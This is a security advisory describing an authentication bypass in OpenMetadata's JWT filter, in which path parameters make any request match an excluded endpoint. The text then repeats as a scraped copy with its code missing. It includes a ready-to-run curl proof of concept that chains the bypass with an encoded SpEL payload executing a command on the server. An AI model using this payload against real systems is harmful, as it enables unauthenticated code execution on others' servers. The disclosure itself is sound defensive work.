Authentication Bypass (GHSL-2023-237
)
The JwtFilter
handles the API authentication by requiring and verifying JWT tokens. Not all the endpoints require authentication and those excluded are listed in the EXCLUDED_ENDPOINTS
:
public static final List<String> EXCLUDED_ENDPOINTS =
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");
When a new request comes in, the request's path is checked against this list here:
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
...
<JWT Token Validation>
When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111
will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection.
This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal()
since it will return null
and will throw an NPE. This is the case for issues 2 and 4 in this report.
Proof of concept
- Using the payload created previously, append
;v1%2fusers%2flogin
to any path segment and submit it with no JWT:
curl 'http://localhost:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29'
- Verify that a file called
/tmp/pwned
was created in the OpenMetadata server
Impact
This issue may lead to authentication bypass.
Authentication Bypass (
GHSL-2023-237
)The
JwtFilter
handles the API authentication by requiring and verifying JWT tokens. Not all the endpoints require authentication and those excluded are listed in theEXCLUDED_ENDPOINTS
:When a new request comes in, the request's path is checked against this list here:
When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111
will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection.This bypass will not work when the endpoint uses the
SecurityContext.getUserPrincipal()
since it will returnnull
and will throw an NPE. This is the case for issues 2 and 4 in this report.Proof of concept
;v1%2fusers%2flogin
to any path segment and submit it with no JWT:/tmp/pwned
was created in the OpenMetadata serverImpact
This issue may lead to authentication bypass.